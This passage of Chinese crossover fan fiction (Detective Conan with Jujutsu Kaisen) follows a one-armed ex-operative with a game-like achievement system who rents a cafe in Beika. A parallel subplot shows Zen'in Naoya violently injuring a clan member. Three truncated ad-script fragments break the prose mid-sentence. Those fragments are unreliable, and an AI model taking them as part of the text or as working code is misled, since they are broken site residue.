工藤新一闻言露出自信的笑容,他伸出左手拿起旁边桌上的刀叉比划几下,口中推理不断,向众人模拟着死者受刺的情景: “很简单啊,因为被害者身上的伤口虽然有被刻意掩饰,但确实只有左手持刀才能造成这样的伤口——看,就像这样——” 至于后面的未尽之言,不用说众人也都明了,少年话音刚落,在场的所有人便都不约而同的看向了稳坐在咖啡桌旁的黑发男人。 更准确的说,看向了他空荡荡的左小臂。 确定这一点后,围观的众人便下意识发出了原来如此的感慨声。 但很快,众人就反应过来这样的行为似乎不太好,毕竟哪有直愣愣盯着一位残疾人残缺部位猛瞧的。 这也太失礼了! 于是围观群众们不约而同的移开视线,一时间掩饰的咳嗽声此起彼伏,看出来都正试图装作无事发生。 被迫成为焦点的禅院慎一:“……” 一边消化着脑内系统叮叮当当的提示音,一边顶着众人同情担忧又有些羞愧的复杂目光,他张了张嘴,最后还是闭上了。 禅院慎一陷入了沉默。 禅院慎一无话可说。 4. 成就! “真相只有一个!” 【滴滴!】 身穿蓝色校服的黑发少年咬字清晰,他目光坚定,大声说出自己的推理,精确指出了本案的真正凶手: “总之,凶手就是——店长!” 此言一出众人哗然,好在场面还算井然有序,被指认的凶手也没有继续行凶的想法,反而低下头,开始诉说自己的心路历程。 【恭喜您累计目睹三次名场面!】 【达成成就:【名场面·初级】】 【【名场面·初级】:虽然不知道为什么,但这种时刻就应该喊出这样的台词啊!尽情享受DNA打结的纠结爽感吧!】 【恭喜您累计路过五十次凶案!】 【成就升级!【凶案路人甲·初级】现已升级为【凶案路人甲·中级】】 【【凶案路人甲·中级】:路过吃瓜已然成为常态,报纸刊登照片上总能瞥见您的背影,吃瓜第一线,精彩每一天!】 【恭喜您,世界影响度已提升至22%!为了世界的和平与美好,为了生活的稳定与幸福,请您再接再厉!】 随着事情的发展,一连串的系统通知伴随着滴滴声在脑内高速刷屏,禅院慎一心情微妙的接收了这些信息。 毕竟目前来看好像也没有什么反制的方法……本着既来之则安之的想法,禅院慎一开始思考系统通知的背后含义。 比如说,成就升级的条件与标准,以及成就数量与世界影响度上涨的比例关系,直觉告诉他这些东西非常重要。 还有…… 名场面?凶案路人甲?世界影响度? 凶案路人甲这个成就简单易懂,没什么好说的,名场面的意思他也知道,指在影像世界为人熟知的经典魅力片段。 不过,能否算作名场面就见仁见智了,毕竟每个人对名场面的定义不一样,并没有所谓的统一标准。 还有DNA是什么意思?难道这个场景在记忆中非常常见,或者说印象深刻吗? 因此结合面前场景,信息量就大到有些匪夷所思—— 难道所谓的世界之子,也就是工藤新一,对他来说,破案场景是重要场面? 那么是否能假设,凶案与推理是世界中很重要的部分?至于“真相只有一个”,一听就是侦探常有的口头禅。 基于这个前提,便意味着其他世界之子应该也有关键词或对应场面,就不知道是否也是关于推理了。 而自己在什么时候见过另外的两个场面的?难道意味着有三个世界之子吗?为什么是三个?这三个人有什么差别? 禅院慎一开始头脑风暴。 另一边,罪犯的自白也即将接近尾声。 不出所料,他描述的作案手法正是后厨下毒,按座位号送餐,保证被害者准确喝下毒咖啡来毒杀报复。 整体上与禅院慎一和工藤新一推测的完全一致。 至于作案动机,居然是两年前工作时被对方百般刁难——只能说恶人自有恶人磨。 而三位嫌疑人中的最后一位,那个持刀杀人的顾客已被唤醒,正老老实实的戴着手铐。 虽然在他行凶时受害者便死了,但持凶伤人已是板上钉钉,也需要被打包到警察局统一处理。 留给禅院慎一思考的时间并没有太久,制服两位罪犯后,身为第一现场目击者的他被告知要去警察局录个笔录。 面对目暮十三的解释与邀请,禅院慎一认命点头,与几人一同坐上了去警局的车。 ———— 坐在警局走廊的长凳上等待传唤时,禅院慎一唤出了系统页面,他心念一动,蓝色的光屏便出现在眼前。 正他预料般,其他人是看不到面板的,来往行人面色如常,即使正对着面板也毫无所觉,在他们的视角里空无一物。 确认完这一点后,禅院慎一并没有着急着查看系统的各项功能,而是选择把界面收回,开始打量四周。 现在还不是研究这些的时候。 话说自家同学诸伏景光现在就在米花町就职,不过这一路上没有遇见对方,看样子是出外勤了。 不过禅院慎一已经打算搬到米花町,既然在一个街区,以后见面的机会还多的是,不着急于这一时半会。 能看出来米花町警察局非常忙碌,大厅里来来往往都是人,来办理民政相关服务的居民和正在工作中的警察们脚步匆匆。 当然,告示栏上的内容也相当精彩。 在等待笔录的时间里,禅院慎一通读了一番贴在告示栏上的信息,在心中真诚的感慨米花町实在过于核平。 意外事件和凶杀事件的数量都太多了点,入住登记的办理似乎相当容易,但对比而言离开登记就困难许多。 但以禅院慎一的实力,住哪都一样。 而碰不到诸伏景光也在情理之中了,毕竟以他的履历应该正高强度活跃在一线,忙的脚不沾地。 很快便有警员招呼禅院慎一去笔录室,他听从安排做完笔录,整个流程很快,刚走出门,却看见毛利小五郎和目暮十三坐在门边的长椅上。 看样子是在等他。 “禅院兄弟。”毛利小五郎见禅院慎一出来,面露愧色的搭话:“之前在咖啡厅是误会你了,真对不起啊。” 禅院慎一笑着应下,对毛利小五郎态度的转变速度感到疑惑。 毕竟对方明显算那种心大爽朗,又比较爱面子的类型,像这样诚恳的道歉绝对很少见。 不过很快禅院慎一便通过交谈得知了原因,原来这两人刚刚得知了他见义勇为的事情,态度便敬重起来。 一周前那场医院爆炸案算得上是东京近些年刑侦方面数得上号的重大案件。 若不是禅院慎一得当果决的处理了炸弹,死伤百人的惨剧便会成真。医院的监控记录下了他见义勇为的整个过程。 再加上他本人体型相貌都相当引人注目,长相在各警局内部传播也不足为奇。 “这次实在是不好意思,禅院先生。”目暮十三感谢道:“欢迎来米花町定居,日后遇到什么麻烦随时都可以联系我。” 面对两人的好意,禅院慎一点点头,跟着两人一同走向警局出口,顺带听他们闲聊。 “对了,毛利老弟,没记错的话,这家咖啡厅是你家的吧?”目暮十三问。 “对啊,真是倒霉,本来店长就说经营不善打算转让,现在还发生了凶杀案,看样子很难找到其他租户了。” 毛利小五郎挠头,一时间哀声叹气。 “那就租给我吧。” 一旁的禅院慎一突然出声,见两人惊讶望来,他语气温和,莫名让人信服:“实不相瞒,我正打算开一家咖啡厅。” 黑发男人轻笑,完全没有因为之前的事情感到隔阂,反而自然的向两人发出邀请: “今天的事也算有缘,毛利先生晚上有空吗,要不要一起吃个晚饭详谈一下?” ———— 同禅院慎一预料般,租赁咖啡厅这件事敲定的相当爽快。 毕竟原店长已经被带到警察局即将判刑入狱,此时有人愿意续租,这对于商铺所有者毛利小五郎来说是再好不过的消息了。 禅院慎一的提议某种意义上来说简直是解了他的燃眉之急。 又加上有着见义勇为的形象加成,两人迅速拉近了关系,到了晚饭时间拉上刚下班的目暮十三做陪,几人一起吃了顿饭。 饭桌上众人聊的相当愉快,又开了几瓶好酒,毛利小五郎喝嗨了,拉着目暮十三和禅院慎一一顿大吹往昔光荣岁月。 这顿饭直到晚上八点多才结束,把醉酒的毛利小五郎送回家后,禅院慎一抛着刚拿到的钥匙,打开了咖啡厅的门。 禅院慎一的思路很明了。 ——虽然有着世界之子的解释,但既然系统是在这里激活的,那最好还是先占据这里再说。 咖啡厅内的一片狼藉早就在下午已经找人打扫完毕,将暂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 停营业的牌子挂上,黑发男人走进后厨给自己磨了杯咖啡。 现在该研究系统了。 禅院慎一唤出脑内系统,随着滴滴声,蓝色透明面板再次凭空出现,整个系统面板非常简洁,分成五个板块。 【人物关系】 【势力地图】 【成就列表】 【影响力进程】 【邮箱(!)】 黑发男人眯眼,毫不犹豫的点开【势力地图】,系统惯用的诙谐描述并没有把他逗笑,在看清内容后,他有些头疼的按了按太阳穴。 【黑衣组织】对您求而不得。 【公安方】希望您早日充公。 【咒术界】认为您不痛不痒。 【异能界】对您求贤若渴。 …… 您目前的世界影响度为22% 哈哈,您真是招猫逗狗! 看着这段有些不着调的点评,禅院慎一有些头疼——并不是在头疼这些点评不正经—— 而是这些点评内容完全正确。 虽然用词极为诙谐,但势力分布相当精确,甚至还标出不同大势力下的分支,比如说御三家,异能特设科—— 禅院慎一揉揉太阳穴,想起系统激活时的成就提醒,他点开了邮箱,开始浏览自己已经达成但尚未领取的成就。 不过,成就似乎更加奇葩…… 【【嘿,爆金币!】:恭喜您精准的和某位吞金兽达成良好关系,成为对方的备用钱包,温馨提示请注意自己的财产安全哦。】 【【人呢?】:您的跑路能力已经超越了99.9%的人类与非人类,使超过十位角色发出感慨。找不到!根本找不到!】 【【圣人·初级】:曾在一天内拯救超过100人的生命,您真是高尚又努力!您就是圣人预备役,加油看好您哦!】 【【跳槽天王】:如同刀尖起舞般在各家职场中周旋的您真是风度翩翩,恭喜您!您的跳槽技能已经超过了99.99%的人类!】 【【宿敌就是宿敌啊】:被至少三位高评价角色认定为宿敌,您真是引人注目呢!让人不禁感慨,宿敌就是宿敌呀!】 …… ……这真的很无厘头啊。 禅院慎一被一连串名字奇葩且简介尴尬的成就打败,黑发男人无奈扶额,停了几秒后才,继续下拉页面。 然而,在一堆不正经的成就里,有一个成却格外引人注目———— 【【他人挚爱】:浓烈到打破上限的爱意让您感觉如何?恭喜您,ta真的超爱!当有人对您的好感度为999时即可解锁。】 看到这段话,黑发男人手指微顿,下一秒便恢复正常速度快速的浏览着成就,仿佛无事发生。 草草看完已达成的成就后,禅院慎一点开了人物关系。 在平面页面上的一串人名中,最上方的那个格外注目,某个已经许久未见的名字倒印在黑发男人的瞳中。 ……也正如他意料。 【禅院直哉:好感度999(MAX)】 【他把您视为所有物,但找不到您。】 禅院慎一沉默的注视着这两句话,曾经预想过的情感通通没有出现,心与大脑都格外平静。 他继续滑动页面,试图汲取更多的信息。在确定完其他人的好感度后,禅院慎一收起系统。 刚磨的那杯咖啡已经喝完,黑发男人握着杯把对准吧台水池的水龙头,水流开到中档。 透明微温的液体划过瓷质内壁,带走残余的咖啡液,在吧台暖白色的灯光下反射出些许光晕。 顷刻便仅余下光滑洁白。 禅院慎一将咖啡杯放回橱柜,确定橱柜中杯碟摆放如平日般干净整齐后,他关上橱柜,柜门严丝合缝,挡住外来的光线与灰尘。 做完这些后,他伸着懒腰走出吧台。 算了,船到桥头自然直。 还是先想想今天晚上去哪里住吧。 5. 内斗。 清晨。 禅院家训练场。 现在时间还早,训练场的人站的松松散散,大多都懒散的挥动着手中的木刀,正在对练的人劈砍动作也都带着些许随意。 其中有几人离得很近,平日里关系不错,相当自然的凑在一起,边检查训练刀具边闲聊近期的趣事。 不过更确切点说,这几个人是在—— 嚼舌根。 “都听说了吗?主院那边有大发雷霆呢。”其中一位旁支青年有些好奇的问: “我前两天去出任务没在老宅,发生什么事了?” “我算是知道点吧,总之父亲很生气。”被提问的男人,正是现任家主禅院直毘人的庶子之一,他摸摸下巴面露讥笑: “应该还是那两个废物的事吧,谁能想到那种废物都叛逃了还能找事,甚至都有人上门来找麻烦呢。” “这种完全零天赋的垃圾不常有,一听就知道是谁呢。” 提到这个,众人嘻嘻哈哈起来:“家里混不下去了,只能跑了呗。” “那俩家伙也算主家血脉吧。” “有一个是,另外一个严格来说算杂种吧,有点好笑诶。” “真羡慕那种什么都看不到的人啊,虽然没有咒力但还是有一身肌肉的,平日里看不到诅咒一定压力很小吧,哈哈哈哈哈——” “不过这件事情最搞笑的不在这里,而是在于某些人的反应吧。” 这位庶子很明显还没爆料过瘾,爆笑完后接着卖关子。 “诶?你这话什么意思,别藏一半说一半的,快说快说,怎么了?”见其他几人都带着神秘笑容,一开始提问的那个青年催道。 “那个势力的代表人不仅是个女人,还跟我们的直哉少爷冲突了一番呢,据说差点打起来,哈哈哈哈。” “居然跟女人一般见识,真不愧是那家伙,还是这么小心眼,在他面前说话可要多注意——” “笑死,嘘,这件事情最好不要再提了,免得有些人应激。”身边几人很快便领会到了这句话的意思,甚至其中一人相当灵性道: “人家可是相当在乎那两个废物呢,这可是直哉少爷的逆鳞啊,碰不得,碰不得。” “哈哈哈,小声点,你也想被打断腿吗?” “说的对,直哉少爷听到了可不会宽恕你呢——哈哈哈哈哈哈——” 仿佛听到了什么好笑的话一般,几人笑得开怀,不过这并不意味着他们的关系有多么好—— 这种程度的互相贬低,在禅院家一贯的环境里不过是日常,自然也不会意识到说话过于冒犯,反而根本不吝啬刻薄的话语。 笑完这件事后就需要有新的乐子,很快便有人对着这位庶子发出了拉踩意味的调笑:“不过,听说你这次的评级也不怎么顺利啊。” “不会是在嫉妒那小子之前评级过了,才专门在这里说坏话吧?” “虽然那家伙脾气很烂,还喜欢摆少爷的谱,但人家实力确实不错啊,近几代里最年轻的准一级,确实有狂傲的资本呢。” “呐,你不也算少爷吗?” 其中一人故意问道:“怎么少爷跟少爷还不一样啊?” “哈哈哈哈哈!” “少爷咋了?再过两年还升不了准一级的话,大概率就要被分配到分家喽。”另外一人接话,相当配合在所谓同伴的伤口上撒盐。 “这么说来,还真不如直哉少爷呢,你说是不是啊?分家少爷!” “啊哈哈哈哈——” 根本不顾及面前人的脸色,众人笑得越发畅快。 “再怎么说你的父亲也是家主大人嘛?平日里肯定比我们过的好吧,不过评级很难嘛,能理解能理解,哈哈哈哈——” 说到底他们之间哪算同伴呢?除去血缘上的关系外,资源的争夺反而更重要。 对他们来说,在这种旁枝末节中汲取的优越感可比蜜糖还香甜,不然何必聚在这里嘲笑他人。 这番话成功的踩中了这位庶子的痛脚,他脸又青又白,顾不上会引起他人的注意,不自觉的提高音量,怒骂道: “滚!我只是失误了而已!下次肯定能过的,要不是这次给我分的任务太难了——直哉不过是运气好父亲指点更多而已——” “明明家主之位不一定是他,一天到晚摆那种谱真的恶心。”在愤怒情绪的驱使下,男人并没有压低声音,如同宣泄一般: “不过就是出生的时候运气好些——” 不就是出生的时候运气好些! “那个喜欢看脸的死断——” 啪,啪,啪! 不远处,鼓掌声响起,明明声音并不算多大,却如同按下暂停键般,使得整个训练场内安静下来—— 正在怒骂的庶子似乎意识到了什么,停住嘴不再出声,看清身边人的表情后,他更加确认了什么。 男人瞳孔收缩一时间不太敢往后看,但现在的他已经进退两难,毕竟在这种时刻露出怯懦才更要命。 除非他想成为下一例谈资供众人长久取笑。 这次评级没过已经够丢脸了,假如再露怯,就彻底在主家待不下去了。 而且如果这些是传到父亲耳里,父亲会怎么看? 虽然嘴上说着完全不怕,但禅院直哉确实要比自己受宠的多,实力也更强劲些。 倒霉倒霉倒霉,不过就是说两句,怎么刚好就被正主听见了,真该死,这家伙平时不是不来训练场吗? 庶子判断的不错,让整个训练场都安静下来的来者,正是几人话题的中心,让他们又羡又妒的禅院直哉。 “都很闲啊?” 黑发青年信步走来,仿佛没有看见众人比尸体还差的脸色,走到几人面前站定,如同闲谈般问道。 禅院直哉作态亲密的将手搭在自己这位同父异母的兄长肩上,哼笑道:“这么喜欢训练场的刀具,要不全部都带走?” “过会爬去分家的时候得带点行李呀,不然不就显得主家太过刻薄了吗?” 黑发青年在男人耳边低语,有着俊俏皮囊的他语气温柔,看起来格外有迷惑性,可话语含义却如同毒舌吐信般危险: “毕竟,从今天开始就要当残废了呢。” “你他妈——”这句混着威胁的侮辱对方第一时间就听懂了,愤怒和恐惧一同爆发:“你算什么东西——呃——” 还没来得及讨个说法,男人便在死亡威胁下狼狈躲避,原握在禅院直哉手中的木刀比真刀还利,将男人的和服左袖划穿—— ——是对准心脏的一击。 全然靠本能躲过这一击,直到额头的冷汗顺着脸颊向下滴落,带来些许凉意后男人才反应过来,他腿脚一软差点直接跌坐在地。 ……这家伙真的想杀人!! “不然怎么解释你五年都没有寸进的等级呢?太不公平了吧。”禅院直哉顶着对方警惕的目光,特意着重强调了几个字。 “训练场不许自相残——呃——”话音未落,挑衅者视野中便掠过了一瞬身影,下一秒便被握住脖颈提起。 禅院直哉面上带笑,但那双上挑的狐狸眼中没有一丝笑意,他手掌发力,直到听见骨缝摩擦的声音才感到些许满意。 果然,像这种杂屑…… 还是闭嘴的时候更讨人欢喜。 “这家伙怎么来了?” “不是说他平时都在自己院子里面训练,不愿意来训练场吗?喂,他真动杀手啊?” 围观众人声音嘈杂,禅院直哉能听见已经有人去通知能够管事的长辈,但他丝毫不打算收敛。 而是抬起脚,狠狠的踹上去—— 骨头断裂的声音清晰的传进在场所有人的耳朵里,禅院直哉用行动告诉围观者,他确实如传言般计较且阴狠—— 今天这人…… 大概真的要爬去分家了。 至于其他几个,应该也好不到哪去。 一时间训练场内乱作一团。 身处嘈杂混乱的众人自然没有平日里警惕,仆人们也早都自觉撤离,并没有人注意到走廊拐角处的一个小小身影。 一位目测不超过七岁的女孩半蹲在墙边,她顾不上墙角的灰尘,轻手轻脚放下手中扫把后,小心藏匿自己的踪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迹。 会发出声响的木屐早就脱下放在一旁,半旧和服袖子也挽到胳膊,女孩努力放缓呼吸降低存在感,默默的偷听着众人谈话。 好在她运气不错,这会儿并没有仆人路过,而训练场里热火朝天,没人发现她的存在,让她安稳的听了不少信息。 而其中就有她最想知道的那一件—— 得到需要的情报后,女孩蹑手蹑脚的起身,紧张的整理好呼吸,在被注意到前,她提起木屐扫把,消失在走廊深处。 ———— 咒术界规定,二级以上咒术师都有专门的辅助监督配合工作,年仅十七但已经达到准一级咒术师的禅院直哉自然也不例外。 不仅如此,作为准一级中最年轻的一批,又有着家世的加成,对接禅院直哉的辅助监督更是不敢怠慢。 同往日一样,辅助监督兢兢业业的执行着自己的工作,一早就来到禅院家外等候。 不过,今天禅院直哉少见的迟到了。 随着时间的流逝,坐在驾驶座上的辅助监督有些疑惑,直到第三次看向手表,确定比平日晚了不少后有些诧异。 毕竟老牌家族家教严,禅院直哉虽有着少爷脾气,但时间观念绝对称得上好,平日里都是准时上车出门。 像这样迟到还是近期的头一回。 正这样想着,辅助监督便听见熟悉的脚步声渐近,不过略微急促,然后便是—— 砰——! 比平日刺耳许多的关门声从身后响起,明显带着情绪的宣泄,辅助监督却倘若未闻,依旧直视前方,如往常一样发动汽车。 毕竟多说多错,不说也错。 ……所以少说少错。 辅助监督沉默的驾驶着车辆,在心中默背自己这两年总结出的工作经验,直到车辆离开禅院家的范围后,才敢抬眼看向后视镜。 坐在后排的黑发青年双臂环胸,他靠在座位上,神情厌厌的望着车窗外风景,俊俏脸蛋的左侧贴着一块创口贴。 但最令人不安的是其身上隐约传来的血腥气,仔细看能发现,他的和服袖角被血液浸成深色,沾着很明显不属于自己的血。 大概率是刚打完架……? 辅助监督精准的推测出了事实,但很清楚轮不到他多舌和关心,便如平日般出声询问今日的工作打算。 “近期暑热,京都市内有不少一二级任务需要完成,根据窗的情报,离这里10分钟车程的学校就有——” “远点的。” “是,那大津,神户——” “再远点。”禅院直哉看着窗外,语气平静的打断对方的话,在辅助监督说出其他临近城市前,他抬眼看向后视镜与其对视。 辅助监督老实闭嘴听候指令。 很明显禅院直哉大概率并没想好到底要去哪里,地名其实无所谓,只是不想呆在这里罢了。 黑发青年沉吟了好几秒后,才随意的说了目的地。 “……去东京。” 下达完命令后,禅院直哉懒懒的收回视线,辅助监督不敢说什么,只能低下头调整导航规划最近路线。 可是少爷,京都和东京有快400里远啊! 足足六个小时的车程啊!您这是在发什么脾气!但实在不敢多说,只能说幸好今天来之前刚加过油…… 而且东京那边有东京高专在,哪有这么多任务需要您做?您这是离家出走? 辅助监督疯狂腹诽,某种意义上再次猜中了真相,但确实不敢不从,只能任命的驾驶着汽车向东京方向驶去。 车内相当安静,目前尚在郊外,除了车辆运行的声音和窗外风声外并无杂音。 禅院直哉靠在座背上,按下小半车窗后将手撑在脸侧,风涌入车厢吹过额前的碎发,带来些许凉意。 呼吸着晨间清新空气,黑发青年沉默的注视着窗外飞速掠过的景色,放在大腿上的手攥紧成拳,脸色越发阴沉。 明明刚刚已经进行过一波发泄,但心中情绪依旧如蛇般紧紧缠绕。那双眼尾上挑的琥珀色瞳中上下翻涌着—— 从未平息过的愤怒。 6. 节奏! 禅院慎一少见的睡了个懒觉。 黑发男人侧睡在宾馆的床上,闭眼翻了个身,将半张脸埋进枕头,感受到棉质床品特有的柔软后,浅浅的发出一声慰叹。 好久都没有这么清闲了,一觉睡到自然醒的感觉真好,睁眼的一瞬间整个人立刻神清气爽。 阳光已经透过窗帘布料照进屋内,整个房间呈现出有些慵懒意味的浅橙底色,可以推断出现在已经不算早了。 禅院慎一坐起身,白色被褥从胸前滑下露出精壮身材,他拨弄了几下微卷黑发让其显得不这么乱,起身走向浴室。 简单冲了个晨间澡,禅院慎一拿着毛巾随意擦着头发,从发丝末端凝出的水珠滴落,顺着脖颈滑向精壮胸膛。 水滴一直向下滑落,穿过男人完美的八块腹肌,以及一道狰狞疤痕,虽然疤痕早已愈合多时,痕迹却依旧明显。 禅院慎一在床边坐下,拿起手机看了眼时间。 十点了。 这样想着,禅院慎一顺手点开了系统。 【人物关系】 【势力地图】 【成就列表】 【影响力进程】 【邮箱(!)】 嗯,又有新邮件? 应该是昨天晚上睡得比较早,所以没有接收到,不过这次又触发什么成就了?禅院慎一这样想着。 他点开邮件选项,选取页面列表中仅有的一封邮件,新成就的通知立刻在耳边响起: 【滴滴!】 【恭喜您,激活新成就【话题终结者】】 【【话题终结者】:即使您不在现场,但处处都有您的传说。累计十次作为话题中心影响事件发展进程即可解锁,请接收。】 【话题终结者】? 影响事件发展进程吗?禅院慎一很快便找到了关键词,但信息量太少,确实推理不出来什么重要内容,只好暂且放下。 刚好此时手机在旁边发出短信提示声,禅院慎一点开一看,发现是诸伏景光的短信。 短信内容大概来说是解释人为什么不在警察局,以及一些关心的话。 因为诸伏景光这次出差的地方刚好就在老家附近,便顺带回去看一眼哥哥,要过段时间才能回来。 所以就预祝禅院慎一乔迁之喜,等回来后再一起吃个饭,最好找个同届几位好兄弟都有空的时候小聚几杯。 这个倒真不急,比起自己的日程安排,目前还在岗位上尽职尽责的几位同学不出来时间的可能性更大。 禅院慎一摸摸下巴,记住了这项日后行程。 想到一起卧底的降谷零还是诸伏景光的幼驯染,禅院慎一便隐晦提了下这家伙的现状,作为短信内容一同发了过去。 很快,得知降谷零平安后对面高兴的回了一个笑容表情,在结束聊天前,又关心了下禅院慎一的身体状况。 跟老同学聊了一会儿后,禅院慎一心情更好了,想到尚且还在组织里兢兢业业如履薄冰的降谷零,他点开了好感度模板。 再看一眼前同僚们的好感度吧。 【琴酒好感度-99,他很想杀您但找不到人。】 【伏特加好感度20,他很想帮助琴酒杀您但找不到人。】 【贝尔摩德好感度59,她觉得您很烦且懒得找人。】 【朗姆好感度10,他很想杀您但找不到人。】 【诸星大好感度65,他认为您人还不错但找不到人。】 【波本(降谷零)好感度89,他认为您太乱来了,下次见面一定要训您一顿。】 【基尔好感度53,她保持观望态度。】 【基安蒂好感度30,她很想杀您邀功。】 【科恩好感度30,他有点想杀您邀功。】 …… 【组织BOSS好感度:??,暂无评价。】 禅院慎一挑眉。 好感度的数值倒是和预期的大差不差,不过有三位的好感度简介似乎有些不太正常啊。 诸星大和基尔,这两位平日在组织绝对能称得上是相当积极的成员,不然也不会拿到酒称号,平日里与他的关系也相当一般。 可连科恩和基安蒂都想拿自己的项上人头去邀功,他俩居然完全没有动作吗?甚至没有任何敌意,值得注意一下。 不过最引人深思的还是组织boss的好感度,第一次看到这种根本不显示也没有后续解释的情况…… 想到这里,脑内闪过叛逃前半年相较之前而言相当轻松的任务,不仅如此,朗姆那边也没有什么新安排啊。 禅院慎一还没思考出个所以然,胃部传来的饥饿感便打断了思考,黑发男人再次拿起手机看了眼时间,发现已经十一点了。 算了,反正也不急于这一时,现在最重要的事情是按时吃饭,顺带出去找房屋中介置办一套房产。 不得不说,退休的日子就是爽啊。 ———— 预算充足,但残疾人,要求买别墅体量的房子,最好是学区房,离小学特别近的那种,并且优先看三居室以上且适合小孩居住的。 除此之外,要求二手且水电没问题,因为懒得装修,打算直接规避装修后可能产生的有害气体,最好能够立刻拎包入住。 房屋中介打量了下顾客,又看了好几眼手中的房屋购买取向表确定这些要求无误后,陷入了沉思。 真怪,第一次见到这种要求。 残疾的单身爸爸?但谁家残疾单身爸爸一身肌肉,虽然脸是个帅哥,但整体来看真不像个好人啊 而禅院慎一拿着附近的房屋分布图,看着这张有着密密麻麻的标注,其中90%都写着凶宅的小字的分布图,同样也陷入了沉思。 真怪,怎么那么多房子都死过人。 虽然严格来说,地球上的每一块地方应该都死过人,除非南极北极或者其他不宜居且人际极为罕见的地方,但在米花遇到凶宅的可能性似乎比预想中还高啊。 脑内微妙的浮现了出某位高中生的脸。 不过禅院慎一倒不介意这一点,毕竟凶宅而已,无论是鬼魂还是诅咒,又或者是连环杀手,以他的武力值来一个解决一个。 感觉以自己的实力做前提,与其觉得可能会被别人杀,更应该担心别的邻居出事吧。 看出房屋中介格外贴心的试图介绍比较安全的房子时,禅院慎一有点想笑,并直接告诉房屋中介可以把凶宅纳入考虑范围内。 能看出来房屋中介狠狠的松了一口气,立刻便从旁边拿出来一沓写有房屋现状的材料,开始向禅院慎一推荐房屋。 最后敲定了一套四居室上下楼的别墅,最巧的这栋房子的斜对角刚好是工藤宅,也就是世界之子工藤新一的家。 吃完午饭后禅院慎一随着房屋中介来到了别墅门口,打开门发现屋内相当整洁,整体装修也比预想中更好后,便爽快的付款交房。 将房屋中介送到门口时,刚好看见工藤新一和一个胖乎乎的老人正站在对面院子里聊天,收集到这个信息后,禅院慎一收回视线。 这个位置确实不错,至少可以观察一些有趣的东西,比如说世界之子的日常生活轨迹,刚好离咖啡厅也非常近。 禅院慎一简单检查了下房子,发现有不少要补充的东西,除了必备日用品外,目前最急需的反而是厨房的调料—— 他还是挺喜欢自己做饭的,虽然目前只有一只手,但做饭这种小事对他来说还是不在话下。 主要是空荡荡的冰箱确实让人越看越不顺眼,果然还是囤点东西好,这样看起来更有生活气息些。 禅院慎一看了眼钟。 折腾了一下午,现在已经快五点钟,那就先去附近的超市看一看吧,顺带散散步,再熟悉熟悉新家附近的环境。 打定主意后,黑发男人关上冰箱,再次确定购买清单,在玄关换好鞋后走出门。 ———— 夏日傍晚的阳光已经没有这么毒辣,蝉声也歇停许多,即便气温依旧不低,但拂面的风已经不再滚烫,轻柔的带走些许躁气。 毛利兰单手提着刚买的蔬菜肉类走出超市,低头看着另一只手中的购物小票,心中默算毛利家这月的饮食开销。 猪肉牛肉都要分袋放到冷冻室,土 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 豆番茄小葱这种直接放在厨房,酱油快用完了刚好遇上促销买一送一,鸡蛋下次再买吧。 晚上做点什么呢?刚好买了豆腐,那就做豆腐汤好了,爸爸最近酒还是喝的很厉害,煮点汤喝对身体好…… “毛利小姐……毛利小姐?” 少女想的很认真,直到旁边人再次喊出她的名字才反应过来,她抬起头,认出是那位刚承租楼下咖啡厅的禅院先生。 毛利兰这才意识到自己想的太入神,她有些不好意思的点头问好:“禅院先生下午好!你也来超市买东西吗?” 少女忍不住在心中感慨,真的好高啊。 毛利兰的身高在普通的女高中生已经算是相当高的了,但在禅院慎一面前完全不够看,说话时若是想对视都要仰起头来。 得一米九几了吧? “对的,买点调味料。”禅院慎一点点头,自然的接走少女手中的购物袋:“看着挺重的呢,我来帮你提吧。” 待毛利兰反应过来,手上便只剩下了一张购物小票。没有纠结太久,少女便大大方方的接受了面前人的好意:“那就谢谢啦!” 禅院慎一点头微笑,他瞥了眼购物袋,结合之前观察到的信息,对毛利家的情况有了大致的预估。 因为路上一直沉默的话会比较尴尬,禅院慎一自然的和毛利兰聊起了家常,毕竟毛利家既是房东又是邻居,相处融洽总没坏处。 “目前还是打算开咖啡厅,装修我还挺满意的不用大改,下午刚在咖啡厅旁边找到合适住处,几天后应该就会正常营业了。” “那日后就是邻居了呢。”能看出来毛利兰对禅院慎一的印象相当不错,得知这件事情后很高兴:“我想爸爸也会开心的。” “还有,没想到您就是之前那起爆炸案的英雄啊。”毛利兰语气敬佩: “太有勇气了,徒手接住即将爆炸的炸弹,还能冷静的扔到造成损失最小的地方,真了不起。” “当时没有想那么多,好在医院恢复的很好,医疗费也有报销哦。”禅院慎一笑道:“毛利小姐平时在家负责做饭吗?” “是的,还有,那天麻烦禅院先生了。”聊到父亲,毛利兰有些不好意思的吐舌:“爸爸有的时候比较冲动,说话也直接些。” “没关系,当时情况复杂,我坐的位置被指认也很正常。”禅院慎一没有太打算说太多自己的事情,自然的转移话题。 虽然确实没有上过初高中,但高中学生放假时间是常识,回忆了下当天毛利兰和工藤新一的互动,禅院慎一问道: “毛利小姐目前还没有放假吗。” “还没有呢,不过也快了,前两天刚刚结束期末考。”毛利兰回答道。 能看出来面前少女对他确实没什么防备心,禅院慎一相当轻松的便从对话中得到了不少想知道的消息。 比如说工藤新一目前父母都在国外,这对少男少女是青梅竹马感情很好,以及工藤新一隔壁家的那位老先生叫阿苙博士。 禅院慎一也算当过很久的坏人,对于像未成年人套话这件事完全没有感受到内疚。 在两人即将走到毛利侦探事务所楼下时,禅院慎一突然察觉到了一股非常炽热的视线,正紧紧的盯着自己。 而在转头看清是谁前,系统便已经公布了答案—— 平静的机械音在脑内响起: 【滴滴,检测到好感度高频变动,即将实时转播,请查收——】 【禅院直哉好感度-200】 【禅院直哉好感度+2】 【禅院直哉好感度-8】 【禅院直哉好感度+7】 …… 【滴滴,检测到短时间内禅院直哉对您的好感度出现大于20次,且远超出普通人感情上限的波动,达成新成就!】 【恭喜您触发成就:【节奏大师】】 【【节奏大师】:即便什么都没做,仅仅站在这里,便能这样优雅的散发出魅力!如同弹奏乐器般轻松触动他人的心弦!】 【不愧是您!】 禅院慎一:??? 禅院慎一:…… 7. 重逢。 禅院直哉预想过很多次再次见面的场景,但从没想过重逢会是这样迅速和仓促。 